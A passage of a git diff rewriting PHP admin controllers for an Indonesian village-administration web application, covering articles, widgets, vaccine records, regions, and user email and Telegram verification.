->addIndexColumn() + ->addColumn('aksi', static function ($row) { + $aksi = ''; + + if (can('u')) { + $aksi .= ' '; + } + + if (can('h')) { + $aksi .= ' '; + } + + return $aksi; + }) + ->rawColumns(['ceklist', 'aksi']) + ->make(); + } + + return show_404(); + } + + public function form($id = '') + { + $this->redirect_hak_akses('u'); + + if ($id) { + $action = 'Ubah'; + $form_action = route('surat_mohon.update', $id); + + $ref_syarat_surat = SyaratSurat::findOrFail($id); + } else { + $action = 'Tambah'; + $form_action = route('surat_mohon.insert'); + $ref_syarat_surat = null; + } + + return view('admin.syaratan_surat.form', compact('action', 'form_action', 'ref_syarat_surat')); + } + + public function insert() + { + $this->redirect_hak_akses('u'); + + if (SyaratSurat::create(static::validate($this->request))) { + redirect_with('success', 'Berhasil Tambah Data'); + } + redirect_with('error', 'Gagal Tambah Data'); + } + + public function update($id = '') + { + $this->redirect_hak_akses('u'); + + $data = SyaratSurat::findOrFail($id); + + if ($data->update(static::validate($this->request))) { + redirect_with('success', 'Berhasil Ubah Data'); + } + redirect_with('error', 'Gagal Ubah Data'); + } + + public function delete($id = '') + { + $this->redirect_hak_akses('h'); + + if (SyaratSurat::destroy($id)) { + redirect_with('success', 'Berhasil Hapus Data'); + } + redirect_with('error', 'Gagal Hapus Data'); + } + + public function deleteAll() + { + $this->redirect_hak_akses('h'); + + if (SyaratSurat::destroy($this->request['id_cb'])) { + redirect_with('success', 'Berhasil Hapus Data'); + } + redirect_with('error', 'Gagal Hapus Data'); + } + + // Hanya filter inputan + protected static function validate($request = []) + { + return [ + 'ref_syarat_nama' => nama_terbatas($request['ref_syarat_nama']), + ]; + } +} diff --git a/donjo-app/controllers/Teks_berjalan.php b/donjo-app/controllers/Teks_berjalan.php index 44c9feb60..1e4e899d1 100644 --- a/donjo-app/controllers/Teks_berjalan.php +++ b/donjo-app/controllers/Teks_berjalan.php @@ -1,521 +1,153 @@ -load->model('teks_berjalan_model'); + $this->load->model('web_artikel_model'); + $this->urut_model = new Urut_Model('teks_berjalan'); + $this->modul_ini = 'admin-web'; + $this->sub_modul_ini = 'teks-berjalan'; + } + + public function index() + { + $main = TeksBerjalan::orderBy('urut') + ->withCasts([ + 'status' => 'string', + ]) + ->get() + ->map(static function ($teks, $key) { + $teks->no = $key + 1; + $teks->tautan = menu_slug('artikel/' . $teks->tautan); + $teks->tampilkan = SistemEnum::valueOf($teks->tipe); + + return $teks; + }); + + return view('admin.web.teks_berjalan.index', compact('main')); + } + + public function form($id = '') + { + $this->redirect_hak_akses('u'); + $data['list_artikel'] = $this->web_artikel_model->list_data(999, 6, 0); + + if ($id) { + $data['teks'] = $this->teks_berjalan_model->get_teks($id) ?? show_404(); + $data['form_action'] = site_url("teks_berjalan/update/{$id}"); + } else { + $data['teks'] = null; + $data['form_action'] = site_url('teks_berjalan/insert'); + } + + $data['daftar_tampil'] = SistemEnum::all(); + + $this->render('web/teks_berjalan/form', $data); + } + + public function insert() + { + $this->redirect_hak_akses('u'); + + if (TeksBerjalan::create($this->validated($this->request, $id))) { + redirect_with('success', 'Berhasil Tambah Data'); + } + + redirect_with('error', 'Gagal Tambah Data'); + } + + public function update($id = '') + { + $this->redirect_hak_akses('u'); + $this->teks_berjalan_model->update($id); + redirect('teks_berjalan'); + } + + public function delete($id = '') + { + $this->redirect_hak_akses('h', 'teks_berjalan'); + $this->teks_berjalan_model->delete($id); + redirect('teks_berjalan'); + } + + public function delete_all() + { + $this->redirect_hak_akses('h', 'teks_berjalan'); + $this->teks_berjalan_model->delete_all(); + redirect('teks_berjalan'); + } + + public function urut($id = 0, $arah = 0) + { + $this->redirect_hak_akses('u'); + $urut = $this->teks_berjalan_model->urut($id, $arah); + redirect("teks_berjalan/index/{$page}"); + } + + public function lock($id = 0, $val = 1) + { + $this->redirect_hak_akses('u'); + $this->teks_berjalan_model->lock($id, $val); + redirect('teks_berjalan'); + } + + protected function validated($request = [], $id = null) + { + $data = [ + 'teks' => htmlentities($request['teks']), + 'tautan' => (int) $request['tautan'], + 'judul_tautan' => htmlentities($request['judul_tautan']), + 'tipe' => (int) $request['tipe'], + ]; + + if ($id === null) { + $data['config_id'] = identitas('id'); + $data['urut'] = $this->urut_model->urut_max() + 1; + } + + return $data; + } +} diff --git a/donjo-app/controllers/Token.php b/donjo-app/controllers/Token.php new file mode 100644 index 000000000..eef11529b --- /dev/null +++ b/donjo-app/controllers/Token.php @@ -0,0 +1,74 @@ +session->token_kosong === false) { + redirect(); + } + } + + public function index() + { + return view('token.index'); + } + + public function update() + { + if ($token = $this->input->post('token')) { + DB::table('setting_aplikasi') + ->when(Schema::hasColumn('setting_aplikasi', 'config_id'), static function ($query) { + return $query->where('config_id', Config::appKey()->first()->id); + }) + ->where('key', 'layanan_opendesa_token') + ->update(['value' => $token]); + + $this->session->unset_userdata('token_kosong'); + } + + redirect('/'); + } +} diff --git a/donjo-app/controllers/User_setting.php b/donjo-app/controllers/User_setting.php index fc3a68b1f..6cea0ebf0 100644 --- a/donjo-app/controllers/User_setting.php +++ b/donjo-app/controllers/User_setting.php @@ -1,513 +1,224 @@ -lang->load('passwords'); + $this->load->library('Reset/Password', '', 'password'); + $this->load->library('OTP/OTP_manager', null, 'otp_library'); + $this->load->model('user_model'); + } + + public function index() + { + $id = $_SESSION['user']; + $data['main'] = $this->user_model->get_user($id); + $this->load->view('setting', $data); + } + + public function update_password($id = '') + { + $this->user_model->update_password($id); + if ($this->session->success == -1) { + redirect($_SERVER['HTTP_REFERER']); + } else { + redirect('main'); + } + } + + // Kata sandi harus 6 sampai 20 karakter dan sekurangnya berisi satu angka dan satu huruf besar dan satu huruf kecil + public function syarat_sandi($str) + { + return (bool) (preg_match('/^(?=.*\d)(?=.*[a-z])(?=.*[A-Z]).{6,20}$/', $str)); + } + + public function kirim_verifikasi() + { + // TODO: OpenKab - Perlu disesuaikan ulang setelah semua modul selesai + $user = $this->db->where('config_id', identitas('id'))->where('id', $this->session->user)->get('user')->row(); + + if ($user->email_verified_at !== null) { + $this->session->success = 1; + + return redirect('main'); + } + + try { + $status = $this->password->driver('email')->sendVerifyLink([ + 'email' => $user->email, + ]); + } catch (\Exception $e) { + log_message('error', $e); + + $this->session->success = -1; + $this->session->error_msg = 'Tidak berhasil mengirim verifikasi email'; + + return redirect('main'); + } + + if ($status === 'verify') { + $this->session->success = 6; + } else { + $this->session->success = -1; + $this->session->error_msg = lang($status); + } + + return redirect('main'); + } + + public function kirim_otp_telegram() + { + // cek telegram sudah pernah terpakai atau belum + $id_telegram = (int) $this->input->post('id_telegram'); + if (User::where('id_telegram', '=', $id_telegram)->where('id', '!=', $this->session->user)->exists()) { + return json([ + 'status' => false, + 'message' => 'Id telegram harus unik', + ]); + } + + try { + $user = User::find($this->session->user); + $token = hash('sha256', $raw_token = mt_rand(100000, 999999)); + + $user->id_telegram = $id_telegram; + $user->token = $token; + $user->token_exp = date('Y-m-d H:i:s', strtotime(date('Y-m-d H:i:s') . ' +5 minutes')); + $user->save(); + + $this->otp_library->driver('telegram')->kirim_otp($user->id_telegram, $raw_token); + + return json([ + 'status' => true, + 'message' => 'sucess', + 'data' => $id_telegram, + ]); + } catch (Exception $e) { + return json([ + 'status' => false, + 'messages' => $e->getMessage(), + ]); + } + } + + public function verifikasi_telegram() + { + $otp = $this->input->post('otp'); + $id_telegram = $this->input->post('id_telegram'); + if ($otp == '') { + return json([ + 'status' => false, + 'message' => 'kode otp kosong', + ]); + } + + $verifikasi_otp = User::where('id', '=', $this->session->user) + ->where('id_telegram', '=', $id_telegram) + ->where('token_exp', '>', date('Y-m-d H:i:s')) + ->where('token', '=', hash('sha256', $otp)) + ->first(); + + if ($verifikasi_otp == null) { + return json([ + 'status' => false, + 'message' => 'kode otp Salah', + ]); + } + + $verifikasi_otp->telegram_verified_at = date('Y-m-d H:i:s'); + $verifikasi_otp->save(); + $this->session->isAdmin->telegram_verified_at = date('Y-m-d H:i:s'); + $this->session->isAdmin->id_telegram = $id_telegram; + + return json([ + 'status' => true, + 'message' => 'Verifikasi berhasil', + ]); + } + + public function verifikasi(string $hash) + { + // TODO: OpenKab - Perlu disesuaikan ulang setelah semua modul selesai + $user = $this->db->where('config_id', identitas('id'))->where('id', $this->session->user)->get('user')->row(); + + if ($user->email_verified_at !== null) { + $this->session->success = 1; + + return redirect('main'); + } + + // Check if hash equal with current user email. + if (! hash_equals($hash, sha1($user->email))) { + $this->session->success = -1; + $this->session->error_msg = lang('token'); + + return redirect('main'); + } + + $signature = hash_hmac('sha256', $user->email, config_item('encryption_key')); + + // Check signature key + if (! hash_equals($signature, $this->input->get('signature'))) { + $this->session->success = -1; + $this->session->error_msg = lang('token'); + + return redirect('main'); + } + + // Check for token if expired + if ($this->input->get('expires') < strtotime(date('Y-m-d H:i:s'))) { + $this->session->success = -1; + $this->session->error_msg = lang('expired'); + + return redirect('main'); + } + + // TODO: Sederhanakan query ini, pindahkan ke model + $this->db->where('config_id', identitas('id'))->where('id', $this->session->user)->update('user', ['email_verified_at' => date('Y-m-d H:i:s')]); + + $this->session->success = 1; + + return redirect('main'); + } +} diff --git a/donjo-app/controllers/Vaksin_covid.php b/donjo-app/controllers/Vaksin_covid.php index 0ec2b20d1..8e7b049be 100644 --- a/donjo-app/controllers/Vaksin_covid.php +++ b/donjo-app/controllers/Vaksin_covid.php @@ -1,513 +1,316 @@ -load->model(['vaksin_covid_model', 'wilayah_model', 'pamong_model']); + $this->_list_session = ['cari', 'dusun', 'vaksin', 'jenis_vaksin', 'tanggal_vaksin', 'umur']; + $this->_set_page = ['50', '100', '200']; + $this->modul_ini = 'kesehatan'; + $this->sub_modul_ini = 'vaksin'; + } + + public function filter($filter, $return = '') + { + $value = $this->input->post($filter); + if ($value != '') { + $this->session->{$filter} = $value; + } else { + $this->session->unset_userdata($filter); + } + redirect($this->controller . "/{$return}"); + } + + public function search() + { + $cari = $this->input->post('cari'); + + if ($cari != '') { + $this->session->cari = $cari; + } else { + $this->session->unset_userdata('cari'); + } + redirect($this->controller); + } + + public function clear($return = '') + { + $this->session->unset_userdata($this->_list_session); + $this->session->per_page = 50; + redirect($this->controller . "/{$return}"); + } + + public function index(int $p = 1) + { + $per_page = $this->input->post('per_page'); + if (isset($per_page)) { + $this->session->per_page = $per_page; + } + + $data = [ + 'set_page' => $this->_set_page, + 'list_dusun' => $this->wilayah_model->list_dusun(), + 'main' => $this->vaksin_covid_model->list_penduduk($p), + 'list_vaksin' => $this->vaksin_covid_model->jenis_vaksin(), + 'paging' => $this->vaksin_covid_model->paging($p), + 'per_page' => $this->session->per_page, + 'cari' => $this->session->cari, + 'func' => 'index', + 'p' => $p, + 'selected_nav' => 'daftar', + ]; + + foreach ($this->_list_session as $list) { + $data[$list] = $this->session->{$list} ?? null; + } + + $this->render('covid19/vaksin/index', $data); + } + + public function form() + { + $this->redirect_hak_akses('u'); + $this->session->unset_userdata($this->_list_session); + $id_penduduk = $this->input->get('terdata'); + $data = [ + 'list_vaksin' => $this->vaksin_covid_model->jenis_vaksin(), + 'list_penduduk' => $this->vaksin_covid_model->list_penduduk(0), + 'penduduk' => $this->vaksin_covid_model->data_penduduk($id_penduduk ?? null), + ]; + + $this->render('covid19/vaksin/form', $data); + } + + public function apipendudukvaksin() + { + if ($this->input->is_ajax_request()) { + $cari = $this->input->get('q'); + + $penduduk = Penduduk::select(['id', 'nik', 'nama', 'id_cluster']) + ->when($cari, static function ($query) use ($cari) { + $query->orWhere('nik', 'like', "%{$cari}%") + ->orWhere('nama', 'like', "%{$cari}%"); + }) + ->paginate(10); + + return json([ + 'results' => collect($penduduk->items()) + ->map(static function ($item) { + return [ + 'id' => $item->id, + 'text' => 'NIK : ' . $item->nik . ' - ' . $item->nama . ' RT-' . $item->wilayah->rt . ', RW-' . $item->wilayah->rw . ', ' . strtoupper(setting('sebutan_dusun')) . ' ' . $item->wilayah->dusun, + ]; + }), + 'pagination' => [ + 'more' => $penduduk->currentPage() < $penduduk->lastPage(), + ], + ]); + } + + return show_404(); + } + + public function tampil_sertifikat($id_penduduk) + { + $data = [ + 'penduduk' => $this->vaksin_covid_model->data_penduduk($id_penduduk), + ]; + + $this->render('covid19/vaksin/sertifkat', $data); + } + + public function berkas($id_penduduk, $vaksin_ke, $form = false, $tampil = false) + { + $data = $this->vaksin_covid_model->data_penduduk($id_penduduk); + $url = $this->controller . '/vaksin_covid/' . ($form) ?: "form?terdata={$id_penduduk}"; + ambilBerkas($data->{$vaksin_ke}, $url, null, LOKASI_VAKSIN, $tampil); + } + + public function update() + { + $this->redirect_hak_akses('u'); + $this->vaksin_covid_model->update_vaksin(); + + if ($this->session->success == -1) { + $this->session->dari_internal = true; + redirect("{$this->controller}/form"); + } else { + redirect("{$this->controller}/clear"); + } + } + + public function laporan_penduduk(int $p = 1) + { + $per_page = $this->input->post('per_page'); + if (isset($per_page)) { + $this->session->per_page = $per_page; + } + + $pamong = Pamong::penandaTangan()->get(); + + $data = [ + 'func' => 'laporan_penduduk', + 'selected_nav' => 'laporan', + 'set_page' => $this->_set_page, + 'main' => $this->vaksin_covid_model->list_penduduk(), + 'paging' => $this->vaksin_covid_model->paging($p), + 'kades' => $data['sekdes'] = $pamong, + 'sekdes' => $data['sekdes'] = $pamong, + 'isi' => 'covid19/vaksin/cetak', + 'list_dusun' => $this->wilayah_model->list_dusun(), + 'list_vaksin' => $this->vaksin_covid_model->jenis_vaksin(), + 'sekdes_id' => sekdes()->id, + ]; + + foreach ($this->_list_session as $list) { + $data[$list] = $this->session->{$list} ?? null; + } + + $this->render('covid19/vaksin/laporan_penduduk', $data); + } + + public function laporan_penduduk_cetak($aksi) + { + $sekdes = (int) ($this->input->post('sekdes')); + $data['pamong_ttd'] = $this->pamong_model->get_data($sekdes); + $data['aksi'] = $aksi; + $data['config'] = $this->header['desa']; + $data['file'] = 'Laporan Hasil Rekap Vaksin Covid 19'; + $data['isi'] = 'covid19/vaksin/laporan_penduduk_print'; + $data['letak_ttd'] = ['2', '2', '1']; + $data['main'] = $this->vaksin_covid_model->list_penduduk(0); + + $this->load->view('global/format_cetak', $data); + } + + public function laporan_rekap() + { + $this->session->unset_userdata($this->_list_session); + $umur = $this->input->get('umur'); + $penduduk = $this->vaksin_covid_model->rekap(0); + $rekap = $this->rekap($penduduk); + $sasaran = $this->vaksin_covid_model->rekap($umur); + $rekap_sasaran = $this->rekap($sasaran); + $pamong = Pamong::penandaTangan()->get(); + $data = [ + 'selected_nav' => 'rekap', + 'main' => $rekap, + 'sasaran' => $rekap_sasaran, + 'kades' => $data['sekdes'] = $pamong, + 'sekdes' => $data['sekdes'] = $pamong, + 'umur' => $data['sekdes'] = $umur, + 'isi' => 'covid19/vaksin/cetak_rekap', + 'aksi' => 'Cetak', + 'sekdes_id' => sekdes()->id, + ]; + + $this->render('covid19/vaksin/laporan_rekap', $data); + } + + public function laporan_rekap_cetak($aksi) + { + $sekdes = (int) ($this->input->post('sekdes')); + $umur = $this->input->post('umur'); + $this->session->unset_userdata($this->_list_session); + $penduduk = $this->vaksin_covid_model->rekap(0); + $rekap = $this->rekap($penduduk); + $sasaran = $this->vaksin_covid_model->rekap($umur); + $rekap_sasaran = $this->rekap($sasaran); + $data['pamong_ttd'] = $this->pamong_model->get_data($sekdes); + $data['aksi'] = $aksi; + $data['config'] = $this->header['desa']; + $data['file'] = 'Laporan Hasil Rekap Vaksin Covid 19'; + $data['isi'] = 'covid19/vaksin/laporan_rekap_print'; + $data['letak_ttd'] = ['2', '2', '1']; + $data['main'] = $rekap; + $data['sasaran'] = $rekap_sasaran; + $data['tanggal'] = tgl_indo(date('Y-m-d')); + $data['umur_sasaran'] = explode('-', $umur); + + $this->load->view('global/format_cetak', $data); + } + + public function rekap($penduduk) + { + $rekap = ['total_v1' => 0, 'total_v2' => 0, 'total_v3' => 0, 'total_belum' => 0, 'detail' => []]; + + foreach ($penduduk as $key => $value) { + $value->dusun = $value->dusun ?? 'Data ' . ucwords(setting('sebutan_dusun')) . ' Tidak Ada'; + if (! isset($rekap['detail'][$value->dusun])) { + $rekap['detail'][$value->dusun] = ['vaksin_1' => 0, 'vaksin_2' => 0, 'vaksin_3' => 0, 'belum' => 0]; + } + + if ($value->vaksin_1 == null || $value->tunda == 1) { + $rekap['detail'][$value->dusun]['belum']++; + $rekap['total_belum']++; + } + + $rekap['detail'][$value->dusun]['vaksin_1'] += $value->vaksin_1; + $rekap['detail'][$value->dusun]['vaksin_2'] += $value->vaksin_2; + $rekap['detail'][$value->dusun]['vaksin_3'] += $value->vaksin_3; + $rekap['total_v1'] += $value->vaksin_1; + $rekap['total_v2'] += $value->vaksin_2; + $rekap['total_v3'] += $value->vaksin_3; + } + + return $rekap; + } + + public function autocomplete() + { + return json($this->vaksin_covid_model->autocomplete($this->input->post('cari'))); + } + + public function impor() + { + $this->redirect_hak_akses('u'); + $this->vaksin_covid_model->impor(); + + redirect('vaksin_covid'); + } +} diff --git a/donjo-app/controllers/Web.php b/donjo-app/controllers/Web.php index 73cd62500..b63697bbf 100644 --- a/donjo-app/controllers/Web.php +++ b/donjo-app/controllers/Web.php @@ -1,441 +1,324 @@ -setting->offline_mode >= 2) { + redirect('hom_sid'); + + exit; + } + + $this->load->model(['web_artikel_model', 'web_kategori_model']); + $this->_set_page = ['20', '50', '100']; + $this->modul_ini = 'admin-web'; + $this->sub_modul_ini = 'artikel'; + } + + public function clear() + { + $this->session->unset_userdata(['cari', 'status']); + $this->session->per_page = $this->_set_page[0]; + $this->session->kategori = -1; + redirect('web'); + } + + public function index($p = 1, $o = 0) + { + $cat = $this->session->kategori ?? -1; + + $data['p'] = $p; + $data['o'] = $o; + + $data['cat'] = $cat; + $data['cari'] = $this->session->cari ?: ''; + $data['status'] = $this->session->status ?: ''; + + $per_page = $this->input->post('per_page'); + if (isset($per_page)) { + $this->session->per_page = $per_page; + } + + $data['func'] = 'index'; + $data['per_page'] = $this->session->per_page; + $data['set_page'] = $this->_set_page; + + $paging = $this->web_artikel_model->paging($cat, $p, $o); + $data['main'] = $this->web_artikel_model->list_data($cat, $o, $paging->offset, $paging->per_page); + $data['keyword'] = $this->web_artikel_model->autocomplete($cat); + $data['list_kategori'] = $this->web_artikel_model->list_kategori(); + $data['kategori'] = $this->web_artikel_model->get_kategori($cat); + $data = $this->security->xss_clean($data); + $data['paging'] = $paging; + + $this->render('web/artikel/table', $data); + } + + public function tab($cat = 0) + { + $this->session->kategori = $cat; + + redirect('web'); + } + + public function form($id = 0) + { + $id = decrypt($id); + $this->redirect_hak_akses('u'); + $cat = $this->session->kategori ?: 0; + + if ($id) { + $cek_data = $this->web_artikel_model->get_artikel($id); + if (! $cek_data) { + show_404(); + } + + if (! $this->web_artikel_model->boleh_ubah($id, $this->session->user)) { + redirect('web'); + } + + $this->session->kategori = $cek_data['id_kategori']; + $data['artikel'] = $cek_data; + $data['form_action'] = site_url("web/update/{$id}"); + $data['id'] = $id; + } else { + $data['artikel'] = null; + $data['form_action'] = site_url('web/insert'); + } + + $data['cat'] = $cat; + $data['kategori'] = $this->web_artikel_model->get_kategori($cat); + + $this->render('web/artikel/form', $data); + } + + public function filter($filter) + { + $value = $this->input->post($filter); + if ($value != '') { + $this->session->{$filter} = $value; + } else { + $this->session->unset_userdata($filter); + } + redirect('web'); + } + + public function insert() + { + $this->redirect_hak_akses('u'); + $cat = $this->session->kategori ?: 0; + + $this->web_artikel_model->insert($cat); + redirect('web'); + } + + public function update($id = 0) + { + $this->redirect_hak_akses('u'); + $cat = $this->session->kategori ?: 0; + + if (! $this->web_artikel_model->boleh_ubah($id, $this->session->user)) { + redirect('web'); + } + + $this->web_artikel_model->update($cat, $id); + if ($this->session->success == -1) { + redirect("web/form/{$id}"); + } else { + redirect('web'); + } + } + + public function delete($id = 0) + { + $this->redirect_hak_akses('h'); + $this->web_artikel_model->delete(decrypt($id)); + redirect('web'); + } + + public function delete_all() + { + $this->redirect_hak_akses('h'); + $this->web_artikel_model->delete_all(); + redirect('web'); + } + + // TODO: Pindahkan ke controller kategori + public function hapus() + { + $this->redirect_hak_akses('u'); + $cat = $this->session->kategori ?: 0; + + $this->redirect_hak_akses('h'); + $this->web_artikel_model->hapus($cat); + $this->session->kategori = 0; + redirect('web'); + } + + // TODO: Pindahkan ke controller kategoris + public function ubah_kategori_form($id = 0) + { + $id = decrypt($id); + $this->redirect_hak_akses('u'); + if (! $this->web_artikel_model->boleh_ubah($id, $this->session->user)) { + redirect('web'); + } + + $data['list_kategori'] = $this->web_artikel_model->list_kategori(); + $data['form_action'] = site_url("web/update_kategori/{$id}"); + $data['kategori_sekarang'] = $this->web_artikel_model->get_kategori_artikel($id); + $this->load->view('web/artikel/ajax_ubah_kategori_form', $data); + } + + public function update_kategori($id = 0) + { + $this->redirect_hak_akses('u'); + if (! $this->web_artikel_model->boleh_ubah($id, $this->session->user)) { + redirect('web'); + } + + $cat = $this->input->post('kategori'); + $this->web_artikel_model->update_kategori($id, $cat); + $this->session->kategori = $cat; + redirect('web'); + } + + public function artikel_lock($id = 0, $val = 1) + { + // Kontributor tidak boleh mengubah status aktif artikel + $this->redirect_hak_akses('u'); + + $this->web_artikel_model->artikel_lock(decrypt($id), $val); + redirect('web'); + } + + public function komentar_lock($id = 0, $val = 1) + { + // Kontributor tidak boleh mengubah status komentar artikel + $this->redirect_hak_akses('u'); + + $this->web_artikel_model->komentar_lock(decrypt($id), $val); + redirect('web'); + } + + // TODO: Pindahkan ke controller kategori + public function ajax_add_kategori($cat = 1, $p = 1, $o = 0) + { + $this->redirect_hak_akses('u'); + $data['form_action'] = site_url("web/insert_kategori/{$cat}/{$p}/{$o}"); + $this->load->view('web/artikel/ajax_add_kategori_form', $data); + } + + // TODO: Pindahkan ke controller kategori + public function insert_kategori($cat = 1, $p = 1, $o = 0) + { + $this->redirect_hak_akses('u', "web/index/{$cat}/{$p}/{$o}", 'kategori'); + $this->web_artikel_model->insert_kategori(); + redirect("web/index/{$cat}/{$p}/{$o}"); + } + + public function headline($id = 0) + { + // Kontributor tidak boleh melakukan ini + $this->redirect_hak_akses('u'); + + $this->web_artikel_model->headline(decrypt($id)); + redirect('web'); + } + + public function slide($id = 0) + { + // Kontributor tidak boleh melakukan ini + $this->redirect_hak_akses('u'); + + $this->web_artikel_model->slide(decrypt($id)); + redirect('web'); + } + + public function slider() + { + $this->sub_modul_ini = 'slider'; + + $this->render('slider/admin_slider.php'); + } + + public function update_slider() + { + // Kontributor tidak boleh melakukan ini + $this->redirect_hak_akses('u'); + + $this->setting_model->update_slider(); + redirect('web/slider'); + } + + public function teks_berjalan() + { + $this->sub_modul_ini = 'teks-berjalan'; + + $this->render('web/admin_teks_berjalan.php'); + } + + public function update_teks_berjalan() + { + // Kontributor tidak boleh melakukan ini + $this->redirect_hak_akses('u'); + + $this->setting_model->update_teks_berjalan(); + redirect('web/teks_berjalan'); + } + + public function reset() + { + $this->redirect_hak_akses('u'); + $cat = $this->session->kategori ?: 0; + + if ($cat == 999) { + $this->web_artikel_model->reset($cat); + } + + redirect('web'); + } +} diff --git a/donjo-app/controllers/Web_widget.php b/donjo-app/controllers/Web_widget.php index e055a0489..a9aacee18 100644 --- a/donjo-app/controllers/Web_widget.php +++ b/donjo-app/controllers/Web_widget.php @@ -1,497 +1,223 @@ -setting->offline_mode >= 2) { + redirect('hom_sid'); + + exit; + } + + $this->load->model(['web_widget_model']); + $this->modul_ini = 'admin-web'; + $this->sub_modul_ini = 'widget'; + $this->set_page = ['20', '50', '100']; + $this->list_session = ['cari', 'filter']; + } + + public function clear() + { + $this->session->unset_userdata($this->list_session); + $this->session->per_page = $this->set_page[0]; + + redirect($this->controller); + } + + public function index($page = 0, $o = 0) + { + $per_page = $this->input->post('per_page'); + if (isset($per_page)) { + $this->session->per_page = $per_page; + } + + $data['cari'] = $this->session->cari ?: ''; + $data['filter'] = $this->session->filter ?: ''; + $data['func'] = 'index'; + $data['set_page'] = $this->set_page; + $data['per_page'] = $this->session->per_page; + $data['paging'] = $this->web_widget_model->paging($page, $o); + $data['p'] = $data['paging']->page; + $data['o'] = $o; + + $data['main'] = $this->web_widget_model->list_data($o, $data['paging']->offset, $data['paging']->per_page); + $data['keyword'] = $this->web_widget_model->autocomplete($this->input->post('cari')); + + $this->session->page = $data['p']; + $this->session->urut_range = [ + 'min' => $data['main'][0]['urut'], + 'max' => $data['main'][count($data['main']) - 1]['urut'], + ]; + + $this->render('web/artikel/widget', $data); + } + + public function form($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('u'); + $data['p'] = $p; + $data['o'] = $o; + $data['list_widget'] = $this->web_widget_model->list_widget_baru(); + + if ($id) { + $data['widget'] = $this->web_widget_model->get_widget($id); + $data['form_action'] = site_url("{$this->controller}/update/{$id}/{$p}/{$o}"); + } else { + $data['widget'] = null; + $data['form_action'] = site_url("{$this->controller}/insert"); + } + + $this->render('web/artikel/widget-form', $data); + } + + public function filter($filter) + { + $value = $this->input->post($filter); + if ($value != '') { + $this->session->{$filter} = $value; + } else { + $this->session->unset_userdata($filter); + } + + redirect($this->controller); + } + + public function admin($widget) + { + $data['form_action'] = site_url('web_widget/update_setting/' . $widget); + $data['setting'] = $this->web_widget_model->get_setting($widget); + + $this->render('widgets/admin_' . $widget, $data); + } + + public function update_setting($widget) + { + $this->redirect_hak_akses('u'); + $this->cek_tidy(); + $setting = $this->input->post('setting'); + $this->web_widget_model->update_setting($widget, $setting); + + redirect("{$this->controller}/admin/{$widget}"); + } + + public function insert() + { + $this->redirect_hak_akses('u'); + $this->cek_tidy(); + $this->web_widget_model->insert(); + + redirect($this->controller); + } + + public function update($id = '', $p = 1, $o = 0) + { + $this->redirect_hak_akses('u'); + $this->cek_tidy(); + $this->web_widget_model->update($id); + + redirect($this->controller); + } + + public function delete($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('h'); + $this->web_widget_model->delete($id); + + redirect($this->controller); + } + + public function delete_all($p = 1, $o = 0) + { + $this->redirect_hak_akses('h'); + $this->web_widget_model->delete_all(); + + redirect($this->controller); + } + + public function urut($id = 0, $arah = 0) + { + $this->redirect_hak_akses('u'); + $urut = $this->web_widget_model->urut($id, $arah); + $range = $this->session->urut_range; + $page = $this->session->page; + + if ($urut <= 0); + elseif ($urut < $range['min']) { + $page--; + } elseif ($urut > $range['max']) { + $page++; + } + + redirect("{$this->controller}/index/{$page}"); + } + + public function lock($id = 0) + { + $this->redirect_hak_akses('u'); + $this->web_widget_model->lock($id, 1); + + redirect($this->controller); + } + + public function unlock($id = 0) + { + $this->redirect_hak_akses('u'); + $this->web_widget_model->lock($id, 2); + + redirect($this->controller); + } + + private function cek_tidy() + { + if (! in_array('tidy', get_loaded_extensions())) { + $this->session->success = -1; + $this->session->error_msg = '
Ektensi tidy tidak aktif. Silahkan cek Pengaturan > Info Sistem > Kebutuhan Sistem.'; + + redirect($this->controller); + } + } +} diff --git a/donjo-app/controllers/Wilayah.php b/donjo-app/controllers/Wilayah.php index 9c182ad97..4a0547835 100644 --- a/donjo-app/controllers/Wilayah.php +++ b/donjo-app/controllers/Wilayah.php @@ -1,473 +1,659 @@ -load->model(['wilayah_model', 'pamong_model']); + $this->load->library('form_validation'); + $this->modul_ini = 'info-desa'; + $this->sub_modul_ini = 'wilayah-administratif'; + $this->_set_page = ['20', '50', '100']; + } + + public function clear() + { + $this->session->unset_userdata('cari'); + $this->session->per_page = $this->_set_page[0]; + $this->cache->hapus_cache_untuk_semua('_wilayah'); + redirect("{$this->controller}"); + } + + public function index($p = 1, $o = 0) + { + $per_page = $this->input->post('per_page'); + if (isset($per_page)) { + $this->session->per_page = $per_page; + } + + $data = $this->cache->pakai_cache(function () use ($p, $o) { + $data['p'] = $p; + $data['o'] = $o; + $data['cari'] = $this->session->cari ?: ''; + $data['func'] = 'index'; + $data['set_page'] = $this->_set_page; + $data['per_page'] = $this->session->per_page; + $data['keyword'] = $this->wilayah_model->autocomplete(); + $data['paging'] = json_decode(json_encode($this->wilayah_model->paging($p, $o))); + $data['main'] = $this->wilayah_model->list_data($o, $data['paging']->offset, $data['paging']->per_page); + $data['total'] = $this->wilayah_model->total(); + + return $data; + }, "{$this->session->per_page}_{$p}_{$this->session->cari}_dusun_wilayah", 24 * 60 * 60); + + $this->render('sid/wilayah/wilayah', $data); + } + + // $aksi = cetak/unduh + public function dialog($aksi = 'cetak') + { + $data = $this->modal_penandatangan(); + $data['aksi'] = $aksi; + $data['form_action'] = site_url("{$this->controller}/daftar/{$aksi}"); + $this->load->view('global/ttd_pamong', $data); + } + + // $aksi = cetak/unduh + public function daftar($aksi = 'cetak') + { + $data['pamong_ttd'] = $this->pamong_model->get_data($this->input->post('pamong_ttd')); + $data['pamong_ketahui'] = $this->pamong_model->get_data($this->input->post('pamong_ketahui')); + $data['desa'] = $this->header['desa']; + $data['main'] = $this->wilayah_model->list_semua_wilayah(); + $data['total'] = $this->wilayah_model->total(); + + $this->load->view("sid/wilayah/wilayah_{$aksi}", $data); + } + + public function form($id_dusun = '') + { + $this->redirect_hak_akses('u'); + + if ($id_dusun) { + $data['dusun'] = WilayahModel::with('kepala')->find($id_dusun) ?? show_404(); + $data['form_action'] = site_url("{$this->controller}/update/{$id_dusun}"); + } else { + $data['dusun'] = null; + $data['form_action'] = site_url("{$this->controller}/insert"); + } + + $this->render('sid/wilayah/wilayah_form', $data); + } + + public function apipendudukwilayah() + { + if ($this->input->is_ajax_request()) { + $cari = $this->input->get('q'); + $kepala = WilayahModel::pluck('id_kepala')->filter(static function ($value) { return null !== $value; }); + $penduduk = Penduduk::select(['id', 'nik', 'nama', 'id_cluster']) + ->when($cari, static function ($query) use ($cari) { + $query->orWhere('nik', 'like', "%{$cari}%") + ->orWhere('nama', 'like', 